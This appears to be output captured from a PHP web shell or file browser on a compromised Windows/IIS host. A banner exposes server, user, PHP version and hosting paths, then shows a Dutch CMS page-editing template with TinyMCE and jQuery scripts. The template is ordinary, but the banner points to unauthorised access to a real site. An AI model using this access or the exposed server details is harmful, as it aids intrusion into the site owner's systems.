HEX
Server: Microsoft-IIS/8.5
System: Windows NT YDAWBH120 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
User: tentjecom_web (0)
PHP: 7.4.14
Disabled: NONE
Upload Files
File: D:/HostingSpaces/NVonken/mijneigenlied.com/wwwroot/Core/Templates/Cached/Admin_Page_newedit.tpl
<h1>Pagina toevoegen/wijzigen</h1>
<p>Gebruik deze pagina om een nieuwe pagina toe te voegen of te wijzigen.</p>
<?=$this->getData("message")?>
<form method="post" enctype="multipart/form-data">
    <div class="form-field">
        <div class="label">
            Taal
        </div>
        <div class="field">
            <select name="ddlLanguage">
                <option value="">- Selecteer -</option>
                <?=$this->getData("ddlLanguageOptions")?>
            </select>
        </div>
        <br style="clear:both;"/>
    </div>
    <div class="form-field">
        <div class="label">
            Titel
        </div>
        <div class="field">
            <input type="text" name="txtTitle" value="<?=$this->getData("txtTitle")?>"/>
        </div>
        <br style="clear:both;"/>
    </div>
    <div class="form-field">
        <div class="label">
            Omschrijving
        </div>
        <div class="field">
            <input type="text" name="txtDescription" value="<?=$this->getData("txtDescription")?>"/>
        </div>
        <br style="clear:both;"/>
    </div>
    <div class="form-field">
        <div class="label">
            Layout
        </div>
        <div class="field">
            <select name="ddlLayout">
                <option value="">- Selecteer -</option>
                <?=$this->getData("ddlLayoutOptions")?>
            </select>
        </div>
        <br style="clear:both;"/>
    </div>
    <div class="form-field">
        <div class="label">
            Horizontale inhoudsvlakken
        </div>
        <div class="field">
            <input type="checkbox" name="cbHorizontalColumns" <?=$this->getData("cbHorizontalColumns")?> />
        </div>
        <br style="clear:both;"/>
    </div>
    <div class="form-field">
        <div class="label">
            Inhoud
        </div>
        <div class="field">
            <input type="radio" name="rbContent" value="columns"/> Inhoudsvlakken<br/>
            <input type="radio" name="rbContent" value="component"/> Component<br/>
        </div>
        <br style="clear:both;"/>
    </div>

    <div id="divColumnAdmin" style="display:none">
        <h1>Inhoudsvakken beheren</h1>

        <p>Inhoudsvlakken maken het mogelijk meerdere soorten inhoud op een pagina weer te geven. Wanneer geen vak type
            word gedefineerd wordt het vak genegeerd.</p>

        <div id="divColumns">
            <?=$this->getData("columns")?>
        </div>
        <p>
            <input type="button" name="btnColumns" value="Inhoudsvlak toevoegen" class="button">
        </p>
        <input type="hidden" name="txtColumnCount" value="<?=$this->getData("txtColumnCount")?>"/>
    </div>

    <div id="divComponentAdmin" style="display:none">
        <h1>Component beheren</h1>

        <div class="form-field">
            <div class="label">
                Component
            </div>
            <div class="field">
                <select name="ddlComponent">
                    <option value="">- Selecteer -</option>
                    <?=$this->getData("ddlComponentOptions")?>
                </select>
            </div>
            <br style="clear:both;"/>
        </div>
    </div>
    <br/>

    <h1>Menu item cre&euml;ren</h1>

    <p><input type="checkbox" name="cbCreateMenu"/> Maak op basis van deze pagina een menu-item aan.<br/>
        <span class="hint">Dit kan ook op een later moment via het menu beheer.</span></p>
    <input type="submit" name="btnSave" value="Opslaan" class="button"/>
</form>

<div id="templates" style="display: none">
    <div id="column-template">
        <div class="form-field">
            <div class="label">
                Inhoudsvlak
            </div>
            <div class="field">
                <span class="columnName"></span>
            </div>
            <br style="clear:both;"/>
        </div>
        <div class="form-field">
            <div class="label">
                Type
            </div>
            <div class="field">
                <select name="ddlType">
                    <option value="">- Selecteer -</option>
                    <option value="text">Text</option>
                    <option value="photo">Foto's</option>
                    <option value="element">Element</option>
                </select>
            </div>

            <br style="clear:both;"/>
        </div>
        <div class="columnSettings"></div>
    </div>

    <div id="column-text">
        <div class="form-field">
            <div class="label">
                Inhoud
            </div>
            <div class="field">
                <textarea cols="80" rows="20" name="txtContent"></textarea>
            </div>
            <br style="clear:both;"/>
        </div>
    </div>

    <div id="column-photo">
        <div class="form-field">
            <div class="label">
                Foto's <br/>
                <span class="hint">Selecteer de foto's die u in deze kolom wilt zien. CTRL + klik voor meerdere foto's</span>
            </div>
            <div class="field">
                <select name="ddlPhotos[]" multiple="multiple" style="width: 150px; height: 300px">
                    <?=$this->getData("ddlPhotoOptions")?>
                </select>
            </div>
            <br style="clear:both;"/>
        </div>
        <div class="existingPhotos"></div>
    </div>

    <div id="column-element">
        <div class="form-field">
            <div class="label">
                Element
            </div>
            <div class="field">
                <select name="ddlElement">
                    <option value="">- Selecteer -</option>
                    <?=$this->getData("ddlElementOptions")?>
                </select>
            </div>
            <br style="clear:both;"/>
        </div>
    </div>
</div>
<script type="text/javascript" src="<?=$this->getData("S:SETTING_ROOT")?>/js/tiny_mce/jquery.tinymce.js"></script>
<script type="text/javascript">
    var columns = 0;
    var editorOptions = {
                // Location of TinyMCE script
                script_url:'<?=$this->getData("S:SETTING_ROOT")?>/js/tiny_mce/tiny_mce.js',

                // General options
                theme:"advanced",
                plugins:"autolink,lists,pagebreak,style,layer,table,save,advhr,advimage,advlink,emotions,iespell,inlinepopups,insertdatetime,preview,media,searchreplace,print,contextmenu,paste,directionality,fullscreen,noneditable,visualchars,nonbreaking,xhtmlxtras,template,advlist",

                // Theme options
                theme_advanced_buttons1:"bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,formatselect,|,cut,copy,paste,pastetext,pasteword",
                theme_advanced_buttons2:"search,replace,|,bullist,numlist,|,outdent,indent,|,undo,redo,|,link,unlink,anchor,image,cleanup,code,|,forecolor",
                theme_advanced_buttons3:"tablecontrols,|,hr,removeformat,visualaid,|,sub,sup,|,charmap,media,|,abbr,xins,attribs,|,visualchars,nonbreaking",
                theme_advanced_buttons4:"",
                theme_advanced_toolbar_location:"top",
                theme_advanced_toolbar_align:"left",
                theme_advanced_statusbar_location:"bottom",
                theme_advanced_resizing:true,

                // Example content CSS (should be your site CSS)
                content_css:"<?=$this->getData("S:SETTING_ROOT")?>/css/style-editor.css, <?=$this->getData("S:SETTING_ROOT")?>/css/fonts.css",
                relative_urls : false,

                // Drop lists for link/image/media/template dialogs
                template_external_list_url:"lists/template_list.js",
                external_link_list_url:"lists/link_list.js",
                external_image_list_url:"lists/image_list.js",
                media_external_list_url:"lists/media_list.js"
            };

    $(document).ready(function () {

        var columnCountValue = $("input[name='txtColumnCount']").val();
        //get the current column count
        if (!isNaN(parseFloat(columnCountValue)) && isFinite(columnCountValue))
            columns = parseInt(columnCountValue);


        for (var i = 1; i <= columns; i++) {
            $("#txtContent_"+i).tinymce(editorOptions);
        }

        $("input[name='rbContent']").click(function () {

            if ($(this).val() == "columns") {
                $("#divColumnAdmin").show('fast');
                $("#divComponentAdmin").hide('fast');
            }
            else {
                $("#divColumnAdmin").hide('fast');
                $("#divComponentAdmin").show('fast');
            }
        });

        $("input[name='btnColumns']").click(function () {
            if (columns == 0)
                $("#divColumns").html("");

            columns++;

            var template = $("#templates #column-template").html();
            $("#divColumns").append("<div id=\"column_" + columns + "\" " + (columns % 2 == 0 ? "class=\"odd\"" : "" ) + ">" + template + "</div><br/>");
            //rename title
            $("#column_" + columns + " .columnName").html(columns);
            //rename form values
            $("#divColumns").find("#column_" + columns + " input, #column_" + columns + " select").map(function () {
                $(this).attr("name", $(this).attr("name") + "_" + columns);
            });
            $("input[name='txtColumnCount']").val(columns);
        });

        $("select[name^='ddlType']").live("change", function () {
            var columnId = $(this).attr("name").substr($(this).attr("name").indexOf("_") + 1);

            if ($(this).val() == "text") { //text
                $("#column_" + columnId + " .columnSettings").html($("#templates #column-text").html());
            }
            else if ($(this).val() == "photo") {    //photo's
                $("#column_" + columnId + " .columnSettings").html($("#templates #column-photo").html());
            }
            else if ($(this).val() == "element") {    //elements
                $("#column_" + columnId + " .columnSettings").html($("#templates #column-element").html());
            }
            //rename template input names
            $("#divColumns").find("#column_" + columnId + " input, #column_" + columnId + " select, #column_" + columnId + " textarea, #column_" + columnId + " select").map(function () {
                //strip the old id
                if ($(this).attr("name").indexOf("_") != -1) {
                    $(this).attr("name", $(this).attr("name").substr(0, $(this).attr("name").indexOf("_")));
                }

                if ($(this).attr("name").indexOf("[]") == -1)
                {
                    $(this).attr("name", $(this).attr("name") + "_" + columnId);
                    $(this).attr("id", $(this).attr("name"));
                }
                else {
                    var name = $(this).attr("name").substr(0, $(this).attr("name").indexOf("[]")) + "_" + columnId + "[]";
                    $(this).attr("name", name);
                }

            });
            $("#txtContent_"+columnId).tinymce(editorOptions);
        });

        $("#btnAddFile").live('click', function () {
            var columnId = $(this).parent().parent().parent().parent().attr("id");
            columnId = columnId.substr(columnId.indexOf("_") + 1);
            var count = parseInt($("input[name='txtPhotoCount_" + columnId + "']").val()) + 1;
            if (count <= 5) {
                $("input[name='txtPhotoCount_" + columnId + "']").val(count);
                $(this).parent().parent().find(".field").prepend(count + ': <input type="file" name="flPhoto_' + columnId + '[]"/><br/>');
            }
        });
    });

    function showComponentAdmin() {
        $("#divComponentAdmin").show();
        $("input[value='component'][name='rbContent']").attr("checked", "checked");
    }
    function showColumnAdmin() {
        $("#divColumnAdmin").show();
        $("input[value='columns'][name='rbContent']").attr("checked", "checked");
    }

    function setupColumns(jsonData) {
        $(document).ready(function () {
            var data = JSON.parse(jsonData);
            for (var i = 1; i <= data.length; i++) {
                var columnInfo = data[i - 1];
                //click the add clumn button
                $("input[name='btnColumns']").trigger("click");
                //set the type and trigger the change event
                $("select[name='ddlType_" + i + "'] option[value='" + columnInfo['type'] + "']").attr("selected", "selected");
                $("select[name='ddlType_" + i + "']").trigger('change');
                //now depending on the type, fill or select data
                if (columnInfo['type'] == "text") {//text
                    $("textarea[name='txtContent_" + i + "']").val(columnInfo["text"]);
                } else if (columnInfo['type'] == "photo") {//photo
                    //show existing photos
                    var photoInfo = columnInfo["photos"].split(",");
                    for (var j = 0; j < photoInfo.length; j++) {
                        if (photoInfo[j] != "") {
                            $("#column_" + i + " select[name='ddlPhotos_" + i + "[]'] option[value='" + photoInfo[j] + "']").attr("selected", "selected");
                        }
                    }
                    //set photo count
                    $("input[name='txtPhotoCount_" + i + "']").val(photoInfo.length);
                    $("input[name='txtExistingPhotos_" + i + "']").val(columnInfo["photos"]);
                } else if (columnInfo['type'] == "element") {//element
                    $("select[name='ddlElement_" + i + "'] option[value='" + columnInfo["element"] + "']").attr("selected", "selected");
                }
            }
        });
    }

    <?=$this->getData("setupScripts")?>
</script>